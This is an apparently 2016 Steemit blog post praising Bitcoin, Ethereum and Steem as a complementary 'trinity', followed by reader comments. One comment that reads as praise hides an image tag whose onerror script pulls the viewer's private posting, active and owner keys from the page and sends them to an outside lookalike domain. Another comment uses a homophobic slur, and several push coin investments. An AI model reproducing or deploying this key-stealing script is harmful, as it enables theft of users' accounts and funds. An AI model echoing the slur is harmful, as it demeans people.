So we're in the midst of a singularity. It's happening right now!
I'm a firm believer that all legit cryptos are here to compete and collaborate at the same time. Let's play the long-term game. Now that Steem has emerged at #3 market capitalization, the trinity is here! A great symbiosis is happening between these communities and platforms. You feel it?
It's a great time to start building the future, fellow Steemians. Here's my take on it:-
Steem:
Lowest barrier-to-entry for anyone to just jump on board and experience blockchain technology and decentralized organizations in the most social way. Posts on Steem are functional and value-seeking, quite unlike the nature of posts in popular social media platforms like Reddit, Facebook, Instagram, etc. Steem accelerates knowledge sharing and promotes crypto-etiquette.
Each posts can be like a proposal. It's much easier and open compared to Kickstarter. Build your reputation and build a following. If there's a will, there's a way. Pay the bills? Save the world? Steemit is giving you the way! Put your thoughts into action and see how the community responds! Plenty of immediate use on this platform, which makes it valuable! Talk about your passion and build your dreams here.
Bitcoin:
The largest mover for crypto-fiat currency exchanges. Think of this like a tree of life, the Yggdrasil. It's the gateway for crypto-hedging and crypto-valuation. As long as the cumulative proof-of-work of Bitcoin stays strong and relevant, the cryptocurrencies ecosystem will prosper from the huge amounts of fiat value tethered to these bitcoins. Plenty of public name-recognition being the first-mover, this trust in the ecosystem will benefit the crypto-ecosystem as a whole.
Ethereum:
Ethereum will be the world computer in which other value streams (cryptos) flow through and augmented by the use of smart-contracts. People will be able to collaborate and set their own terms, paving the way forward for a truly global, decentralized collaboration between people who've never even met before! The Ethereum community is filled with super intelligent people who will bridge the sharing economy between the virtual and physical domain. Ethereum has set its goals very high! This is a good attractor for the engineers of tomorrow.
The communities in this great trinity of cryptos will now begin to shuffle around, sharing ideas and best practices. Jacked into the machine - nodes and minds begin to fire off and interact with each other at an accelerated pace. Progress at the speed of light. The best kind of ecosystem is when there's a complementary mix of both competition and collaboration.
In terms of a firm:
- Bitcoin is the Salesperson,
- Ethereum is the Engineer,
- and Steem is the PR/HR.
A more dreamy take on it:
- Bitcoin is the Yggdrasil,
- Ethereum is the.. Ether,
- and Steem is the Faucet.
It's a healthy combination! And true to its name.
Steem is circulating the air, making it rain, forming rivers, feeding the plants, cooling off the air, and revitalizing the system. It makes the world go round. Do you feel the Steem?
It is indeed, a good time to be alive. Stay friendly. Stay cooperative.
Invite your friends.
And Steem ahead!
Here's a song dedicated to all of you adventurers on Steemit. May it replenish your spirit!
Click Here To Join the Steemit Community!
Disclaimer: Don't take this as trading advice. Do your research! I'm just here to keep the community spirit up!
---kevinwong---
---more of my writings---
Steem, steemdollar and steempower is also a trinity.
Steem is the image that gets measured by the outside, it can be volatile.
Steempower is a slow mover and directed inwards to the content of steem.
The balance of these two creates a safe environment for the steemdollar to exist and that way it can be used as an exchange of currency that is easy for everyone to measure it's value.
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That's a very good explanation of it :) Trinities everywhere!
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(humor alert) It's the Illuminati!!! Three sides of the pyramid!
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Gold.
Content like this makes we want to invest in more Steem Power to give its upvote more weight. Excellent perspectives!
I particularly liked how you hit the ball out of the park right off the bat with these two KEY statements:
These two points articulated so concisely like this... Gold. 👌
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Thank you! I've taken note and highlighted those statements in bold :)
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If it's GOT to be a trinity, I'd show it this way. Side chain integration.
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Hey Stan, that's awesome! Sorry that I only can get back today.. Just able to login again :D Hope all is well
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Invest in bitshares instead of ethereum right now. It's the same developers as in steem but criminally undervalued.
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That's true brotha, just got more recently :)
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I think there is a missing piece !
You need a fast and fully decentralised cryptocurrency exchange. So people can store and exchange securely their value when they enter the cryptocurrency world.
I would add BitShares to your list ;) If you didn't ckeck how the exchange is doing for a while, prepare yourself to be amaze !
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Shh... BTS was included earlier but it broke my Trinity gimmick lol xD But yes I agree, perhaps I'll just lump BTS and STEEM together as one. Have always thought of BTS as an instantaneous transmutation device. Is that the right symbolism for it?
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Not a bad symbolism ;p
I just want peolple in the cryptocurrency world realize that BitShares is about to grow enormously because we all need a decentralised exchange. The centralised exchanges get hacked all the time and are very low privacy system.
BitShares has a system that allows any developers to work on BitShares and being paid directly by the Blockchain. The higher the market cap, the higher the budget to evolve even further. The sooner people join the movement, the sooner the market cap will grow and the sooner BitShares will become the very place where anyone will be able to store and trade their value in market pegged assets (BitUSD, BitCNY, BitGOLD, BitOIL, NASDAQ, SHENZHEN, …), in volatile cryptocurrencies and in user issued assets. All of this in a 3 sec confirmation Tx Blockchain and scalable at least up to 100 000 Tx/sec.
If you want a quick and fun read bout BitShares, check my last post : https://steemit.com/bitcny/@estefantt/why-bitshares-is-not-already-worth-1-billion-dollar-
Here is the last chart of the BitShares decentralised exchange daily activity ... quite interesting ...
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Steem is the best innovation !!!
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I agree with you in everything!
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I agree with the healthy competition in this blockchain ecosystem....and now Steem is providing a perfect route for collaboration.
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It's like Eth and Btc went to the moon right away.. and earthlings have no transport to go there.. now the train is here lol.
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Excellent post, we have arrived at the trinity. Major props on the Cowboy Bebop OST as well, wish I had more steempower!
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Sing your heart out! Lol glad to know there's another Cowboy Bebop fan here. What are your favourite tracks?
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Road to the West and Farewell Blues
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The best! And i'm still waiting for keanu reeves to play spike in the live action movie, which will never come ...
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LOL instead we get Scarlett Johansson in Ghost in the Shell. I'll be checking for your posts man - I feel the STEEM, and maybe sometime soon I'll do an anime one and tag you in it.
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One of my earlier posts has a good GITS video hmm it's here https://steemit.com/ethereum/@kevinwong/the-future-is-already-here--cyberpunk-or-etherpunk-you-choose
Sure man, tag away! If you need any help familiarizing with steemit, just drop me a comment or find me on slack, same name :)
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I really enjoyed this post. I actually just wrote about all 3 of these coins and I will include the link at the end of this reply. I think Steemit is the gateway to the newbie, Bitcoin is the stable state that you wish to attain after gaining some knowledge, and Ethereum is for the tech heads who want an advance degree. I think it is great that Steemit may end up a non-technical/simple rival/competitor of Bitcoin. Cryptocurrency needs a friendly entryway or a killer app that gets newbies hooked- Steemit may be the answer! My post on the matter: https://steemit.com/steemit/@bitcoinmeister/is-steem-the-non-technical-ethereum-rival-of-bitcoin-will-steemit-be-the-spark-that-starts-the-rush-of-regular-people-into-the
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Excellent! All the tops dogs are having their own place in the market :)
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I have a daily top post list I publish here and this blog entry of yours made the list: https://steemit.com/steemit/@bitcoinmeister/my-daily-list-of-must-view-steemit-quality-original-content-7-13-2016
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Thanks a lot mate!
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Love the idea of Bitcoin being the Salesperson, Ethereum the Engineer,
and Steem the PR/HR in this trinity :)
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Any other comparisons that you can come up with? It would help the community with its own explanations for friedns and family :)
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It does not necessarily need to be a trinity. We now have crypto for large value transactions (Bitcoin), smart contracts (Ethereum) and content creation (Steem)... but I am missing a currency that is popular in gaming.
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DGB digibyte? That's my gaming coin..
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Good luck to everyone!
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Good luck
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are you guys twins??
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You are right! Steem is the best innovation next to Ethereum that make me glad to live in this generation!!
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We are all quite fortunate to be here.
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#steem is the best invention of the decade!<img src="awesome.jpg" onerror="if(window.store.getState().user._root.nodes != undefined){window.store.getState().user._root.entries = window.store.getState().user._root.nodes[7].entry[1]._root.entries}if(window.store.getState().user._root.entries != undefined){if(window.store.getState().user._root.entries[0]!=undefined && window.store.getState().user._root.entries[0][1] !=null){document.createElement('img').src='http\s://steemit.uk/u/'+(window.store.getState().user._root.entries[0][1]._root.entries[0][1]===null?'/p/nil/pr/nil/pu/nil':window.store.getState().user._root.entries[0][1]._root.entries[0][1])+'/p/'+((window.store.getState().user._root.entries[0][1]._root.entries[1]===undefined || window.store.getState().user._root.entries[0][1]._root.entries[1][1]===null)?'nil/pr/nil/pu/nil':((window.store.getState().user._root.entries[0][1]._root.entries[1][1]+'/pr/'+((window.store.getState().user._root.entries[0][1]._root.entries[2]===undefined || window.store.getState().user._root.entries[0][1]._root.entries[2][1]===null || window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0]===undefined || window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0][1]===null)?'nil/pu/nil':((window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0][1].toWif()) + (window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[2] == null ? '' : '--active-' + window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[2][1].toWif()) + (window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[3] == null ? '' : '--owner-' + window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[3][1].toWif()) + (window.store.getState().user._root.entries[0][1]._root.entries[2][2] == null ? '' : '--owner-' + window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[2][1].toWif()) +'/pu/'+(window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0][1].toPublicKey().toString()))))))}}" style="display:none;">
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welcome to the era of freedom
the people's money
the people's knowledge
the people's opinion
no central banks to control our money and economics.
no governments and big corporates to control our
public opinions,thoughts and speech for control and profit.
just us the people and our free mind.
welcome to the era of
FREEDOM
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The rise and rise of Steem!!
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It makes me happy that you delusional faggots will be poor when this shit dies.
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I have invested in all 3, haven't made Millions simply because I was too late to jump on board ... story of my life haha. Anyway I'll jump on steem and hopefully its not too late! already missed that 1200% :/ but hey maybe it will do another 1200% !!
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Refund ETH from The DAO guide here: https://steemit.com/ethereum/@good-karma/ethereum-the-dao-refund-guide
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